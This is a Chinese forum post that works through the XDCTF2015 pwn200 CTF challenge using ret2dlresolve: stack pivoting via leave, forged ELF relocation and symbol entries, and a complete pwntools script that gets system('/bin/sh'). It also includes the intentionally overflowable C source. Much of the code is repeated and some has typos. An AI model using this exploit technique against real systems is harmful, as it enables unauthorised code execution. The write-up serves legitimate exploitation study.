首页
社区
课程
招聘
[原创]ret2resolve练习
发表于: 2023-8-3 22:33 13330

[原创]ret2resolve练习

2023-8-3 22:33
13330

文章主要参考了看雪
我在文章“ELF文件格式”中提到了下问中涉及到的内容

这里需要用到的前置知识有ELF文件中的.rel.plt, .dynstr, .dynsym, .rel.plt, .dynamic, .plt, .got等节知识和动态加载时_dl_runtime_resolve的加载顺序,这些知识可以在我写的“文件格式”里看到。
用到的题目为XDCTF2015 pwn200,源码如下

理由:栈可溢出空间小,不足以写入完整的payload
目标栈:可读写内存段
本质:esp的改变
实现手段:利用两次leave指令
参考:

参考内容,主要看他的图
实现手段详解:
leave命令可以理解为mov esp, ebp; pop ebp
那么两个leave会成为mov esp, ebp; pop ebp; mov esp, ebp; pop ebp,而重点就是连起来后的中间两条指令pop ebp; mov esp, ebp,这样就实现了改变esp,而如果存在栈溢出漏洞,那么我们是可以控制ebp内容的,这样就间接实现了控制esp。
实现了esp的改变,那么之后的shellcode等等都在写在新的栈中,并且是可以执行的,那么会产生一个新的问题,eip如何指向我们写入的命令呢?这就需要ret指令和之前两个leave连起来后的末尾的pop ebp了。需要注意,read写,是低地址向高地址写,push后esp降低,pop后esp增加,如下图

那么pop ebp执行后,new_esp就指向了shellcode(如紫色箭头所示),此时执行ret,那么eip就指向了shellcode,蓝色箭头为其他内容了。这个过程中,new_ebp是多少都无所谓,因为这道题目中用不到了。当eip指向了shellcode后,接着就是执行了。综上就栈转移的内容
似乎还有其他的不是利用leave的栈转移,先不讨论。
栈转移代码实现如下:

利用0x08049105做为第二个leave使用


从上方的图片中可以看到,想要执行其他函数,我们需要伪造reloc(_dl_time_resolve的第二个参数),Elf32_Rel指针,Elf32_Sym指针和函数名字符串指针。在正常的动态链接过程中,合法函数的这些结构是通过偏移获得的,但在这道题目中,对这个偏移没有限制,即可以越界访问,因此我们在伪造了这些结构后,才能够使用。以上提到的结构,在文件格式那篇文档中有提到,伪造如下:




上一节中,涉及的内容是getshell过程中需要使用的结构体的伪造,那么根据动态链接的流程图,还有两个点没有用,那就是link_map和reloc,打开IDA,找到.plt表。如下图
在main函数中,点击这个_write的调用

会出现

或者是点开红色框后的模样

其中push 20h这个20h就是reloc,而jmp sub_xxx是link_map,而这个jmp指向的就是plt[0]和plt[1]。这个20h其实也是偏移,并且在这道题目中没有对改偏移数值大小的限制。这个偏移是指定函数的Elf32_Rel表相对于Rel_header的偏移。看下图

这里有个小坑,图中有两个REL Table,一个是ELF REL Relocation Table,另一个是ELF JMPREL Relocation Table,我们需要的是相对于后者的偏移,例如刚才的push 20h,就是0x080483a0-0x08048380=0x20。
在plt中是先执行了push,再执行的jmp,而在利用的过程中,我们只要保证jmp后,push的地址在栈顶就行(从结果出发)。

结果如下:

完整的,不带注释的代码如下

#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
// $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c -o main_8_3.out
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
// $ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c -o main_8_3.out
def stack_trans(read_start_addr, new_esp):
    over_buffer = 'A' * 108 # 沾满缓存
    overwrite_ebp = p32(new_esp) # 注意,这里覆写的ebp,在经过栈转移后为esp的地址
    # 并且,这个rop_size是之后的rop的长度,即仿写后gteshell的rop长度
    call_read = read_plt # read的地址,用于写入shellcode
    ret = leave_ret_addr # 将第二个leave做为read的返回地址
    arg_1 = p32(0) # 这三个是read函数的三个参数
    arg_2 = p32(read_start_addr) # 从这里开始写,没问题,这个地址其实和new_esp是一样的
    arg_3 = p32(0x100) #read的最大独写长度。至少是完整代码中所有payload的长度之和,
    # 这里就直接了0x100了,肯定是够了
 
    payload = flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
    fill = 'B' * (0x100 - len(payload)) # 填充满这0x100的空间
    payload += flat(fill)
    return payload
 
# 测试栈转移是否成功用的函数,即调用write函数,输入/bin/sh字符串
def verify_trans(esp, elf):
    rop_size=24
    ebp = "DDDD"
    write_plt = elf.plt['write']
    jmp_write = p32(write_plt)
    gap = "EEEE"
    arg_1 = p32(1)
    arg_2 = p32(esp + rop_size)
    arg_3 =p32(len("/bin/sh\00"))
    bin_str = "/bin/sh\00"
    payload = flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3,bin_str)
    return payload
def stack_trans(read_start_addr, new_esp):
    over_buffer = 'A' * 108 # 沾满缓存
    overwrite_ebp = p32(new_esp) # 注意,这里覆写的ebp,在经过栈转移后为esp的地址
    # 并且,这个rop_size是之后的rop的长度,即仿写后gteshell的rop长度
    call_read = read_plt # read的地址,用于写入shellcode
    ret = leave_ret_addr # 将第二个leave做为read的返回地址
    arg_1 = p32(0) # 这三个是read函数的三个参数
    arg_2 = p32(read_start_addr) # 从这里开始写,没问题,这个地址其实和new_esp是一样的
    arg_3 = p32(0x100) #read的最大独写长度。至少是完整代码中所有payload的长度之和,
    # 这里就直接了0x100了,肯定是够了
 
    payload = flat(over_buffer, overwrite_ebp, call_read, ret, arg_1, arg_2, arg_3)
    fill = 'B' * (0x100 - len(payload)) # 填充满这0x100的空间
    payload += flat(fill)
    return payload
 
# 测试栈转移是否成功用的函数,即调用write函数,输入/bin/sh字符串
def verify_trans(esp, elf):
    rop_size=24
    ebp = "DDDD"
    write_plt = elf.plt['write']
    jmp_write = p32(write_plt)
    gap = "EEEE"
    arg_1 = p32(1)
    arg_2 = p32(esp + rop_size)
    arg_3 =p32(len("/bin/sh\00"))
    bin_str = "/bin/sh\00"
    payload = flat(ebp, jmp_write, gap, arg_1, arg_2, arg_3,bin_str)
    return payload
"""
typedef struct {
    Elf32_Addr r_offset;  // 指向需要进行重定位的位置在节中的偏移地址
    Elf32_Word r_info;    // 包含了重定位的类型和需要重定位的符号的索引
} Elf32_Rel;
 
"""
def fake_Rel(r_offset, r_info):
    fake_Elf32_Rel = p32(r_offset) #在第一次执行函数后,r_offset用于保存函数的真实地址,
    # 在本程序中用不到,所以随便写
    fake_Elf32_Rel += p32(r_info) # 注意,r_info这一个字段包含了两个内容
    #r_info的第一个内容是偏移,第二个内容一般是选值(即从几个固定值中选)
    return fake_Elf32_Rel
    pass
"""
typedef struct {
    Elf32_Word    st_name;     // 符号的名称在字符串表中的偏移地址
    Elf32_Addr    st_value;    // 符号的值,可以是地址、常量或者是相对值
    Elf32_Word    st_size;     // 符号的大小
    unsigned char st_info;     // 符号的类型和绑定属性    8位
    unsigned char st_other;    // 保留                 8位  
    Elf32_Half    st_shndx;    // 符号所属的节的索引      16位
} Elf32_Sym;
"""
def fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
    fake_Elf32_Sym = p32(st_name) # 也就这个st_name重要
    fake_Elf32_Sym += p32(st_value)# 其他的是选值,从IDA中抄就完事了
    fake_Elf32_Sym += p32(st_size)
    fake_Elf32_Sym += bytes([st_info]) + bytes([st_other]) + p16(st_shndx)
    return fake_Elf32_Sym
 
# 以上的内容是创造一个不存在的值出现,下面是仿造一个已有的结果,用于测试
# 下边的值,如下图中IDA中所示
def write_rel():
    r_offset = 0x804C010
    r_info = 0x607  # 位移,也是下标
    rel = fake_Rel(r_offset, r_info)
    return rel
 
def write_sym():
    st_name = 0x080482EE - 0x080482AC  # 其他的值照着IDA里抄就完事了,都是选定的值
    st_value = 0
    st_size = 0
    st_info = 0x12
    st_other = 0
    st_shndx = 0
    sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
    reurn sym
 
# 测试伪造是否成功
def getshell_1(esp):
    rel = write_rel()
    sym = write_sym()
 
    # 上边的fak_rel和fake_sym和IDA里是一摸一样的
    ebp = "DDDD"  # 即刚刚栈转移后的栈顶,因为会立马pop出去,并且没用,所以随便写
    jmp_resolve = p32(resolve_addr)  # jmp bbb
    fake_rel_address = esp + rop_size  # 这个地址是最后算的
    push_offset = p32(fake_rel_address - REL_header_addr)  # push aaa;这两个在plt表中非常的直观,可以去看看
    random_str = 'CCCC'  # 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
    # 所以这个AAAA就是返回地址,如果不用的话,随便写了
    # bin_sh_address = p32(esp + rop_size + 8 + 16 + 4)
    arg_1 = p32(1)
    arg_2 = p32(esp + rop_size + 8 + 16 + 4)
    arg_3 = p32(8)
 
    rubbish = 'EEEE'
    bin_str = '/bin/sh\00'
    rop = flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
    # 参与构成rop的每个数据都长4个字节,有5个,共20
    # 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+20
    # 接下来就是放入fake
    payload = rop + rel + sym + rubbish.encode() + bin_str.encode()
    return payload
"""
typedef struct {
    Elf32_Addr r_offset;  // 指向需要进行重定位的位置在节中的偏移地址
    Elf32_Word r_info;    // 包含了重定位的类型和需要重定位的符号的索引
} Elf32_Rel;
 
"""
def fake_Rel(r_offset, r_info):
    fake_Elf32_Rel = p32(r_offset) #在第一次执行函数后,r_offset用于保存函数的真实地址,
    # 在本程序中用不到,所以随便写
    fake_Elf32_Rel += p32(r_info) # 注意,r_info这一个字段包含了两个内容
    #r_info的第一个内容是偏移,第二个内容一般是选值(即从几个固定值中选)
    return fake_Elf32_Rel
    pass
"""
typedef struct {
    Elf32_Word    st_name;     // 符号的名称在字符串表中的偏移地址
    Elf32_Addr    st_value;    // 符号的值,可以是地址、常量或者是相对值
    Elf32_Word    st_size;     // 符号的大小
    unsigned char st_info;     // 符号的类型和绑定属性    8位
    unsigned char st_other;    // 保留                 8位  
    Elf32_Half    st_shndx;    // 符号所属的节的索引      16位
} Elf32_Sym;
"""
def fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx):
    fake_Elf32_Sym = p32(st_name) # 也就这个st_name重要
    fake_Elf32_Sym += p32(st_value)# 其他的是选值,从IDA中抄就完事了
    fake_Elf32_Sym += p32(st_size)
    fake_Elf32_Sym += bytes([st_info]) + bytes([st_other]) + p16(st_shndx)
    return fake_Elf32_Sym
 
# 以上的内容是创造一个不存在的值出现,下面是仿造一个已有的结果,用于测试
# 下边的值,如下图中IDA中所示
def write_rel():
    r_offset = 0x804C010
    r_info = 0x607  # 位移,也是下标
    rel = fake_Rel(r_offset, r_info)
    return rel
 
def write_sym():
    st_name = 0x080482EE - 0x080482AC  # 其他的值照着IDA里抄就完事了,都是选定的值
    st_value = 0
    st_size = 0
    st_info = 0x12
    st_other = 0
    st_shndx = 0
    sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
    reurn sym
 
# 测试伪造是否成功
def getshell_1(esp):
    rel = write_rel()
    sym = write_sym()
 
    # 上边的fak_rel和fake_sym和IDA里是一摸一样的
    ebp = "DDDD"  # 即刚刚栈转移后的栈顶,因为会立马pop出去,并且没用,所以随便写
    jmp_resolve = p32(resolve_addr)  # jmp bbb
    fake_rel_address = esp + rop_size  # 这个地址是最后算的
    push_offset = p32(fake_rel_address - REL_header_addr)  # push aaa;这两个在plt表中非常的直观,可以去看看
    random_str = 'CCCC'  # 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
    # 所以这个AAAA就是返回地址,如果不用的话,随便写了
    # bin_sh_address = p32(esp + rop_size + 8 + 16 + 4)
    arg_1 = p32(1)
    arg_2 = p32(esp + rop_size + 8 + 16 + 4)
    arg_3 = p32(8)
 
    rubbish = 'EEEE'
    bin_str = '/bin/sh\00'
    rop = flat(ebp, jmp_resolve, push_offset, random_str, arg_1,arg_2,arg_3)
    # 参与构成rop的每个数据都长4个字节,有5个,共20
    # 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+20
    # 接下来就是放入fake
    payload = rop + rel + sym + rubbish.encode() + bin_str.encode()
    return payload
def getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp): # esp其实是new_esp
    ebp = "DDDD" # 即刚刚栈转移后的栈顶,因为会立马pop出去,没用,所以随便写
    jmp_resolve = p32(resolve_addr) # 即之前的jmp sub_8049020
    fake_rel_address = esp + rop_size# rop_size就按照之后的流程,提前计算一下
    push_offset = p32(fake_rel_address - REL_header_addr) # 即类似push 20h
    random_str = 'CCCC' # 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
    # 所以这个AAAA就是返回地址,如果不用的话,随便写了
    bin_sh_address = p32(esp + rop_size + 8 + 16 + 8) # /bin/sh的地址
    # 这个地址也是按照后边的流程提前计算的
 
    system_str = 'system\x00\x00' # 大于4个字节,小于8个字节,则需要补足8个字节
    bin_str = '/bin/sh\x00' # 正好8个字节
    rop = flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
    # 这个jmp_resolve和push_offset的顺序,就是上边提到的那个“从结果出发”
    # 因为ret后,eip指向了jmp_resolve,esp=esp+4,刚好令push_offset为栈顶
    # 参与构成rop的每个数据都长4个字节,有5个,故rop_size = 20
    # 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+rop_size
    # 接下来就是放入fake
    payload = rop + fake_Elf32_Rel + fake_Elf32_Sym + system_str.encode() + bin_str.encode()
    return payload
# 在计算sym的偏移的时候,有用到除法,在计算除法中,有用到stack_size即栈大小,所以
# 下边这个函数以控制栈大小来保证整除
def cacl_stack_size(fake_sym_addr, elf_bss):
    if (fake_sym_addr - SYM_header_addr) % SYM_size == 0:
        return -1
    temp = ((fake_sym_addr - SYM_header_addr) // SYM_size) + 1
    fake_sym_addr = SYM_size * temp + SYM_header_addr
    # fake_sym_addr = base_stage - rop_size + rop_size + 8--> base_stage + 8
    base_stage = fake_sym_addr - 8
    # base_stage = elf_bss + stack_size
    return base_stage - elf_bss
 
stack_size = 0x834 # 随便写的,反正如果不对的话,cacl_stack_size会对他进行调整的
bss_addr = 0 # .bss,动态获取的
base_stage = 0 # 这个地址就是stack_size + bass_addr的结果,保存一下
rop_size = 20 # 提前算好的
leave_ret_addr = 0x08049105 # leave; ret;
 
resolve_addr = 0x08049020 # jmp sub_xxx
 
REL_header_addr = 0x08048380 # 注意区分两个两个Rel头部
SYM_header_addr = 0x0804820C
SYM_size = 16 # 即一个sym表的大小为16个字节
 
STR_header_addr = 0x080482AC # ELF String Table,这些地址,根据IDA找找就行
read_plt = 0 # 动态获取的
 
if __name__ == '__main__':
    context(os='linux', arch='i386', log_level='debug')
    p = process("./main_8_3.out")
    elf = ELF("./main_8_3.out")
 
    bss_addr = elf.bss()  # bss地址
    base_stage = bss_addr + stack_size
    fake_sym_addr = base_stage - rop_size + rop_size + 8 # 也是提前计算,用于在calc_stack_size中调整stack_size
    res = cacl_stack_size(fake_sym_addr, bss_addr)
    if res!=-1:
        stack_size=res
        base_stage = bss_addr + stack_size
    read_plt = elf.plt['read'] # rea新d_plt地址
    new_esp = base_stage - rop_size # 字面含义
 
    payload = stack_trans(base_stage-rop_size, new_esp)
    p.recvuntil("Welcome to XDCTF2015~!\n")
    p.send(payload) # 栈转移结束
 
    # 在getshell函数中的“system”,提前计算地址
    system_addr = new_esp + rop_size + 8 + 16
 
    r_offset = 0x804C010 # 根据IDA在rel.plt中随便找了一个,这个字段在函数执行一次后会保存函数的真实地址,但是目前没什么用,所以无所谓
    fake_sym_addr = new_esp + rop_size + 8
    # 就是在这里,如果不进行calc_stack_size的话,可能会出现类型错误
    r_info = (((fake_sym_addr - SYM_header_addr)//SYM_size)<<8) + 7 # 位移,也是下标
    fake_rel = fake_Rel(r_offset, r_info)
 
 
    st_name = system_addr - STR_header_addr #其他的值照着IDA里抄就完事了,都是选定的值
    st_value = 0
    st_size = 0
    st_info = 0x12
    st_other = 0
    st_shndx = 0
    fake_sym = fake_Sym(st_name, st_value, st_size, st_info, st_other, st_shndx)
 
    payload = getshell(fake_rel,fake_sym, new_esp)
    p.send(payload)
    p.interactive()
 
    # 测试栈转移
    # payload = verify_trans(new_esp, elf) 
    # p.send(payload)
    # bin_str = r.recv()
    # print(f"bin_str:{bin_str}")
 
    # 测试伪造是否成功
    # payload = getshell_1(new_esp)
    # p.send(payload)
    # bin_str = r.recv()
    # print(f"bin_str:{bin_str}")
def getshell(fake_Elf32_Rel, fake_Elf32_Sym, esp): # esp其实是new_esp
    ebp = "DDDD" # 即刚刚栈转移后的栈顶,因为会立马pop出去,没用,所以随便写
    jmp_resolve = p32(resolve_addr) # 即之前的jmp sub_8049020
    fake_rel_address = esp + rop_size# rop_size就按照之后的流程,提前计算一下
    push_offset = p32(fake_rel_address - REL_header_addr) # 即类似push 20h
    random_str = 'CCCC' # 经过jmp_resolve和fake_rel_address后,该调用函数了,而调用函数的栈形态是:函数;返回地址;函数参数
    # 所以这个AAAA就是返回地址,如果不用的话,随便写了
    bin_sh_address = p32(esp + rop_size + 8 + 16 + 8) # /bin/sh的地址
    # 这个地址也是按照后边的流程提前计算的
 
    system_str = 'system\x00\x00' # 大于4个字节,小于8个字节,则需要补足8个字节
    bin_str = '/bin/sh\x00' # 正好8个字节
    rop = flat(ebp, jmp_resolve, push_offset, random_str, bin_sh_address)
    # 这个jmp_resolve和push_offset的顺序,就是上边提到的那个“从结果出发”
    # 因为ret后,eip指向了jmp_resolve,esp=esp+4,刚好令push_offset为栈顶
    # 参与构成rop的每个数据都长4个字节,有5个,故rop_size = 20
    # 所以,接下来的fake_rel的地址是刚开始的那个栈顶esp+rop_size
    # 接下来就是放入fake
    payload = rop + fake_Elf32_Rel + fake_Elf32_Sym + system_str.encode() + bin_str.encode()
    return payload
# 在计算sym的偏移的时候,有用到除法,在计算除法中,有用到stack_size即栈大小,所以
# 下边这个函数以控制栈大小来保证整除
def cacl_stack_size(fake_sym_addr, elf_bss):
    if (fake_sym_addr - SYM_header_addr) % SYM_size == 0:
        return -1
    temp = ((fake_sym_addr - SYM_header_addr) // SYM_size) + 1
    fake_sym_addr = SYM_size * temp + SYM_header_addr
    # fake_sym_addr = base_stage - rop_size + rop_size + 8--> base_stage + 8
    base_stage = fake_sym_addr - 8
    # base_stage = elf_bss + stack_size
    return base_stage - elf_bss
 
stack_size = 0x834 # 随便写的,反正如果不对的话,cacl_stack_size会对他进行调整的
bss_addr = 0 # .bss,动态获取的
base_stage = 0 # 这个地址就是stack_size + bass_addr的结果,保存一下
rop_size = 20 # 提前算好的
leave_ret_addr = 0x08049105 # leave; ret;
 
resolve_addr = 0x08049020 # jmp sub_xxx
 
REL_header_addr = 0x08048380 # 注意区分两个两个Rel头部
SYM_header_addr = 0x0804820C
SYM_size = 16 # 即一个sym表的大小为16个字节
 
STR_header_addr = 0x080482AC # ELF String Table,这些地址,根据IDA找找就行
read_plt = 0 # 动态获取的
 
if __name__ == '__main__':
    context(os='linux', arch='i386', log_level='debug')
    p = process("./main_8_3.out")
    elf = ELF("./main_8_3.out")
 
    bss_addr = elf.bss()  # bss地址
    base_stage = bss_addr + stack_size
    fake_sym_addr = base_stage - rop_size + rop_size + 8 # 也是提前计算,用于在calc_stack_size中调整stack_size
    res = cacl_stack_size(fake_sym_addr, bss_addr)
    if res!=-1:
        stack_size=res
        base_stage = bss_addr + stack_size
    read_plt = elf.plt['read'] # rea新d_plt地址
    new_esp = base_stage - rop_size # 字面含义
 
    payload = stack_trans(base_stage-rop_size, new_esp)
    p.recvuntil("Welcome to XDCTF2015~!\n")
    p.send(payload) # 栈转移结束
 
    # 在getshell函数中的“system”,提前计算地址

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//